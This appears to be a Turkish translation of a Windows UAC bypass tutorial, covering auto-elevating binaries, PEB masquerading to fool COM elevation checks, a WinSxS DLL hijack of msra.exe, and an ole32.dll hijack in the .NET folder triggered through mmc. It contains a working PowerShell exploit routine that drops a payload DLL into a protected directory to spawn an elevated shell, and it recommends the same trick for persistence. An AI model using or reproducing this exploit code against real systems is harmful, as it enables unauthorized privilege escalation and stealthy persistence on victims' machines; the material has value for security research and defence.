Windows Hacking Serisi #7 | Uac attacks

Merhaba,

bu yazıda UAC (Kullanıcı Hesabı Kontrolü) atlama saldırılarına dahil olan temel prensiplere bakacağız.

Giriş bölümü dışında, Microsoft'un UAC'nin ne olup olmadığını belirtmesi hakkında çok fazla ayrıntıya girmeyeceğim.

Windows Vista ile tanıtılan UAC, Yönetici kullanıcılarının Windows makinelerini Yönetici haklarının aksine standart kullanıcı haklarıyla çalıştırmalarına olanak tanır.

Varsayılan olarak Windows'taki ilk kullanıcı hesabı Yönetici grubunun bir parçasıdır, bu sadece bir gerekliliktir.

Bu nedenle, gün içinde (Vista öncesi) geliştiriciler, kullanıcıların yerel yönetici haklarına sahip olduğunu varsayma eğilimindeydiler ve çoğu zaman, yükseltilmiş ayrıcalıklar gerektirecek şekilde uygulamalarını dikkatsizce geliştirdiler.

Resmi çizgi, UAC'nin bu davranışı engellemenin ve geriye dönük uyumluluk sağlamanın bir yolu olarak tanıtılmasıdır.

Her ne olursa olsun, UAC'nin doğrudan bir yararı, Yönetici kullanıcıları yazılım bileşenleri tarafından gerçekleştirilen kötü niyetli, yükseltilmiş eylemlerden koruması veya bunlara karşı uyarmasıdır.

Microsoft buna katılmaz, ancak bence UAC aslında çok yetkin bir güvenlik mekanizmasıdır (yaygın dll yan yükleme sorunlarını unutursak!).

Bunu tartışmak isteyen herkesin yalnızca, tümü UAC'yi atlamak için mekanizmalar içeren ****sploit / Cobalt Strike gibi bazı gelişmiş kötü amaçlı yazılım setlerine veya istismar çerçevelerine bakması gerekir.

Ayrıca, Microsoft'un, örneğin CAB dosyalarını belirli bir yola çıkarmak için WUSA kullanmak gibi bir dizi baypas yama uyguladığını da unutmayalım.

Son kullanıcı güvenliğini büyük ölçüde artıracağından, sağlam bir yandan yükleme düzeltmesinin uygulanamaması gerçekten utandırıcı.

Her neyse, UAC her zaman şiddetli tartışmalara yol açar, bu yüzden konu hakkında daha fazla konuşmayacağım.

Hadi bu "uyumluluk" özelliğiyle ilgili delikler açalım!

Kaynaklar:
Bypass-UAC (@FuzzySec)
UACME (@ hFireF0X)
Windows Kullanıcı Hesabı Denetimi'ni (UAC) ve azaltma yollarını @ vezGHH)
Atlama eventvwr.exe ve Kayıt Defteri Ele Geçirme (@ enigma0x3) Kullanarak "Dosyasız" UAC Bypass
Windows 10'da Disk Temizleme (@ enigma0x3)
TpmInit (@Cneelis)
İçinde Windows 7 Kullanıcı Hesabı Denetimi (Microsoft Technet)
İç Windows Vista Kullanıcı Hesabı Denetimi (Microsoft Technet)
Kullanıcı Hesabı Denetimi (MSDN ) kullanarak Kullanıcı Hesabı Denetimi'ni (UAC) atlama

OTO YÜKSELME

Anlaşılması gereken en önemli şey,
Yönetici kullanıcılar tarafından oluşturulan işlem belirteçlerinin, bu işlem normal olarak başlatıldığında, yükseltilmiş ayrıcalıkların aksine (örneğin: Yönetici Olarak Çalıştır ...) belirli ayrıcalıklardan arındırılmasıdır.

Get-TokenPrivs veya Sysinternals işlem gezgini kullanarak belirteç ayrıcalıklarını boşaltarak bunu kolayca doğrulayabiliriz.

Aşağıdaki ekran görüntüsü, biri normal olarak ve biri Yönetici olarak başlatılan iki "cmd.exe" örneğini göstermektedir.

Temelinde, yönetici grubuna ait kullanıcılar, makinelerini diğer kullanıcılarla aynı ayrıcalıklarla yönetir.



Öyleyse, yüksek ve düşük özel kullanıcılar arasındaki gerçekten fark nedir? Söz konusu olduğunda çok fazla değil, yükseltilmiş eylem yine de bu belirteç değişikliğini gerektirir ve UAC ayarına bağlı olarak kullanıcıyı bilgilendirebilir / bir şifre isteyebilir.

Önemli olan, ortadaki iki UAC ayarında, bunlardan biri varsayılan ayar, kullanıcı Yönetici grubuna aitse bir dizi Windows programı otomatik olarak yükselecektir.

Bu ikili dosyalar, aşağıda gösterildiği gibi manifestolarını dökerek tanımlanabilir.




Bu ikili dosyaları bulmanın kolay bir yolu, dizeleri özyinelemeli olarak dökmek ve "autoElevate> true" araması yapmaktır.

Buradaki mantık, bu ikili dosyaların Microsoft tarafından imzalanmasıdır; kökenleri ve kullanıcının bir Yönetici olduğu göz önüne alındığında, yükseltmek için sormaya gerek yoktur (diğer bir deyişle bu bir kullanılabilirlik özelliği).

Bu, süreç izleyiciyi açana ve ikili dosyaların ihtiyaç duydukları kaynakları başarıyla yüklerken ne kadar kötü olduklarını bulana kadar makul görünüyor (sadece dll'leri değil aynı zamanda kayıt defteri anahtarlarını da).

Ne yazık ki bu, kötü niyetli bir kullanıcıya bol miktarda kaçırma fırsatları sağlar.
Aşağıdaki örnek, MMC'nin RSOP'yi yükseltmek için kullanıldığı, iyi bilinen bir durumu göstermektedir, RSOP sırayla “wbemcomn.dll” dosyasını yüksek bütünlükle (= Yönetici olarak) yüklemeye çalışır.



Saçma olan şey şu ki, filtrelenmiş çıktıya bakıldığında, burada en az üç başka UAC "0gün" var (..sigh).

Biri Bypass-UAC'ye bir çekme isteği göndermek isterse, kendinizi nakavt edin (bayıltın)!

Yükseltilmiş Dosya İşlemleri

“B33f misketlerini kaybetti, bu dll'ler güvenli bir dizinde” diye düşünüyor olabilirsiniz!

Yukarıda tartıştığımız ikili dosyalar gibi, otomatik olarak yükselen COM nesneleri de vardır (yükseltilmiş COM işlemleri gerçekten kendi gönderilerini hak eder).

Bu COM nesnelerinden biri bizim için özellikle yararlıdır, IFileOperation.

Bu COM nesnesi, dosya sistemi nesneleri (dosyalar ve klasörler) için kopyalama / taşıma / yeniden adlandırma / silme gibi birçok yararlı yöntem içerir.

Geleneksel olarak, saldırgan, IFileOperation COM nesnesini başlatan ve saldırganların dosyalarını korumalı dizine taşıyan bir yöntemi çalıştıran bir dll yazar (örn: C: \ Windows \ System32 \ wbem \ wbemcomn.dll, yukarıdaki örnekte olduğu gibi) .

COM nesnesinin otomatik olarak yükseltilmesini sağlamak için dll, güvenilir bir dizinde çalışan orta bütünlük sürecine, genellikle “explorer.exe” (-> fdwReason == DLL_PROCESS_ATTACH) enjekte edilir.

Örnek dll kaynağı burada @ vezGHH gönderisinde bulunabilir.

Bununla birlikte, her yere dll'leri enjekte ederek alarm zillerini tetiklemeyen IFileOperation yöntemlerini kullanmanın daha esnek bir yolu olduğu ortaya çıktı.

COM nesneleri, hangi işlemde çalıştıklarını belirlemek için İşlem Durumu API'sine (PSAPI) güvenir.

İşin komik yanı, PSAPI'nin bu bilgileri almak için PEB sürecini ayrıştırması, ancak bir saldırganın kendi işlemlerini ele alıp PEB'nin üzerine yazabilmesidir.

PSAPI'yi kandırmak ve bunun sonucunda sahte PID'den örneklenen herhangi bir COM nesnesi (= akıllara durgunluk)!

Bunu açıklamak için bir PowerShell POC, Masquerade-PEB yazdım. Aşağıdaki örnekte PowerShell, kaşif kılığına girmiştir ve Sysinternals süreç gezgini de açıkça kandırılmıştır ...




Örnek Olay : WinSxS, UAC 0gün tüm gün

Varsayılan UAC ayarı gerçekten bir plasebodan başka bir şey değildir, beni alaycı yaptığınız için @ hFireF0X'e teşekkürler!

İlk vaka çalışmamız için Windows Yan Yana (WinSxS) dll yükleme sorununa bir göz atacağız.

WinSxS, Windows ME'de "dll cehennemi" olarak adlandırılan soruna bir çözüm olarak tanıtıldı.

Temelde genel bir derleme önbelleğine benzer, bir ikili programın belirli bir kitaplığa erişmesi gerektiğinde, bildiriminde bu kitaplığın sürümüne başvurabilir ve ardından işletim sistemi WinSxS klasöründen (C: \ Windows \ WinSxS)

Örnek olay incelememiz için, otomatik yükselen Microsoft Uzaktan Yardım ikili dosyasına (C: \ Windows \ System32 \ msra.exe) bir göz atacağız.

Aşağıda ikilinin manifestosunu görebiliriz.



Bağımlılık bölümüne dikkat edin, msra'nın “Microsoft.Windows.Common-Controls” kitaplığının bir sürümüne ihtiyacı var.



Msra'yı çalıştırdığımızda süreç monitöründe ne olacağını görelim.

Bir noktada msra "msra.exe.Local" adlı bir dizin arar, bu klasörü bulamadığında "C: \ Windows \ WinSxS" e erişir ve bildiriminde belirtilen kitaplığı yükler.

Dotlocal klasörü, yasal olarak bir geliştirici tarafından hata ayıklama amacıyla kullanılabilir (çatık surat ..).

Aşağıdaki dizin yapısını oluşturduğumuzda ne olacağını tahmin edebilir misiniz?

Kod:
# We can do this using elevated IFileOperation COM object methods

C:\Windows\System32\
|__> msra.exe.Local
|___> x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.494_none_ea85e725b9ba5a4b





Çok fazla * facepalm *, bu noktada UAC'yi atlamak için tek yapmamız gereken IFileOperation COM nesnesini bir payload dll ile bu klasörü oluşturmak ve msra'yı komut satırından çalıştırmak için kullanmaktır.

Bu biraz fazla basitleştirilmiştir, çünkü payload dll muhtemelen bazı dll dışa aktarımlarını iletmek zorunda kalacaktır, ancak fikri anladınız.

Biri Bypass-UAC'ye bir çekme isteği göndermek isterse, kendinizi nakavt edin!



WinSxS'i örnek olay incelemesi olarak seçmemin nedeni, otomatik yükselen ikili dosyalara bakmaya başladığınızda bu sorunu tam anlamıyla her yerde görecek olmanızdır.

KernelMode başlığını okumanızı şiddetle tavsiye ederim.

Örnek Olay: Ole32.dll'yi .NET ile Ele Geçirme => Baypas-UAC

Bu tür UAC baypasına (yükseltilmiş COM kullanarak) çok sayıda hareketli parça olduğundan, tüm ağır işleri halletmek için bir PowerShell çerçevesi oluşturdum.

Bypass-UAC'nin birkaç farklı bileşeni vardır: (1) İşlem sahtekarlığı ile ilgilenen Masquerade-PEB, (2) IFileOperation COM nesne yöntemlerini PowerShell'e sunan Invoke-IFileOperation ve (3) bir yük dll'sini düşüren Emit-Yamabiko diske.

Son vaka çalışması için nispeten basit bir UAC "0day" aradım, Yamabiko'yu güncellememi gerektirmeyen ve x32 / x64 Win7-Win10 üzerinde çalışacak bir şey istedim.

Sonunda .NET çerçevesinin yük davranışını kötüye kullanmaya karar verdim.

Hatalı yükleme davranışını tetiklemenin birçok yolu vardır, ancak UAC'yi atlamak için MMC kullanacağız (herhangi bir * .msc kullanacaktır).

MMC Profil Oluşturma:


"Mmc gpedit.msc" yi çalıştırdığımızda süreç izleyicide ne olacağını görelim (filtrelendi: Komut satırında "mmc", ad adı bulunamadı ve yolda "dll" var).

Aşağıdaki ekran görüntüleri sırasıyla Win 7 ve Win 10'daki sonuçları göstermektedir.






Ne yazık ki, her iki işletim sistemi sürümünde de bazı korkunç girişler var!

Ancak, tuhaflıkları ve çakışmayan girişleri göz ardı ederek, "MFC42LOC.DLL" ve "ole32.dll" ile kaldık.

MFC42LOC'nin biraz daha araştırılması gerekiyor, birkaç kez gördüm ama hoş görünmüyor. Ole32 ise uygun bir aday olduğunu kanıtladı.

Ole32’yi Ele Kaçırma

Çözmemiz gereken bir sorun, dll'nin açıkça farklı bir dizinden yüklenmiş olmasıdır;

kısa bir araştırma, varsayılan .NET sürüm klasöründe ole32'yi aradığını ortaya çıkarır.

Bu sürümü aşağıdaki PowerShell komutunu kullanarak alabiliriz.

Kod:
# Win 7
PS C:\> [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion
v2.0.50727

# Win 10
PS C:\> [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion
v4.0.30319
Görünmeyen diğer sorun ise, Bypass-UAC'deki Yamabiko proxy dll'sinin PowerShell'i açmasıdır, ancak PowerShell'in bu hatalı yükleme hatasını tetikleyerek sonsuz (yükseltilmiş) mermi patlamasına neden olması ...

Bu davranıştan kaçınmak için yükümüzü tespit etmeliyiz dll yüklendi ve sonra onu kaldırın, böylece yalnızca bir kez çalıştırılır.

Baypas-UAC Uygulaması:

Bypass-UAC'ye yöntemler eklemek gerçekten çok kolay, daha fazlasını öğrenmek istiyorsanız lütfen GitHub'daki projeye göz atın!

Bypassımızın çalışmasını sağlamak için aşağıdaki yöntemi ekledim, umarım bu aşağı yukarı kendinden açıklamalı olacaktır.

Herhangi bir sorunuz varsa yorum bırakmaktan çekinmeyin!


Kod:
UacMethodNetOle32'
{
# Hybrid MMC method: mmc some.msc -> Microsoft.NET\Framework[64]\..\ole32.dll
# Works on x64/x32 Win7-Win10 (unpatched)
if ($OSMajorMinor -lt 6.1) {
echo "[!] Your OS does not support this method!`n"
Return
}

# Impersonate explorer.exe
echo "`n[!] Impersonating explorer.exe!"
Masquerade-PEB -BinPath "C:\Windows\explorer.exe"

if ($DllPath) {
echo "[>] Using custom proxy dll.."
echo "[+] Dll path: $DllPath"
} else {
# Write Yamabiko.dll to disk
echo "[>] Dropping proxy dll.."
Emit-Yamabiko
}

# Get default .NET version
[String]$Net_Version = [System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion

# Get count of PowerShell processes
$PS_InitCount = @(Get-Process -Name powershell).Count

# Expose IFileOperation COM object
Invoke-IFileOperation

# Exploit logic
echo "[>] Performing elevated IFileOperation::MoveItem operation.."
# x32/x64 .NET folder
if ($x64) {
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\'), "ole32.dll")
} else {
$IFileOperation.MoveItem($DllPath, $($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\'), "ole32.dll")
}
$IFileOperation.PerformOperations()

echo "`n[?] Executing mmc.."
IEX $($env:SystemRoot + '\System32\mmc.exe gpedit.msc')

# Move Yamabiko back to %tmp% after it loads to a**** infinite shells!
while ($true) {
$PS_Count = @(Get-Process -Name powershell).Count
if ($PS_Count -gt $PS_InitCount) {
try {
# x32/x64 .NET foler
if ($x64) {
$IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework64\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll')
} else {
$IFileOperation.MoveItem($($env:SystemRoot + '\Microsoft.NET\Framework\' + $Net_Version + '\ole32.dll'), $($env:Temp + '\'), 'ole32.dll')
}
$IFileOperation.PerformOperations()
break
} catch {
# Sometimes IFileOperation throws an exception
# when executed twice in a row, just rerun..
}
}
}

# Clean-up
echo "[!] UAC artifact: $($env:Temp + '\ole32.dll')`n"
Bir yan not (dipnot) olarak, bu yüksek erişim ile oldukça iyi bir kalıcılık mekanizmasıdır.

.NET framework klasörüne ole32 için bir sarmalayıcı dll bırakın ve .NET'i kullanan her şeyi başlangıçta / boşta çalışacak şekilde programlayın (örneğin: PowerShell).
Win8 x64



Win10 x32




Son Düşünceler

Bu kadar ileri gittiyseniz, sanırım Microsoft'un neden UAC atlamalarını kabul etmediğini anlayabilirsiniz (standart "Bu bir güvenlik özelliği değildir" satırı dışında) ..

Dürüst olmak gerekirse, UAC'yi yoluna sokmanın en iyi yolunun saldırganın yükseltilmiş kopyalama işlemleri gerçekleştirmesine (WUSA'da olduğu gibi) izin veren ve dll'nin yandan yükleme sorunlarını olduğu gibi bırakan mekanizmaları agresif bir şekilde yama.



Gitmeden önce, burada olay görüntüleyiciyi kullanarak dosyasız bir UAC atlama üzerindeki @ enigma0x3 gönderisine göz attığınızdan emin olun, açıkçası diske herhangi bir şey bırakmanız gerekmeyen bir durum her zaman tercih edilir!


Source:
Translator: @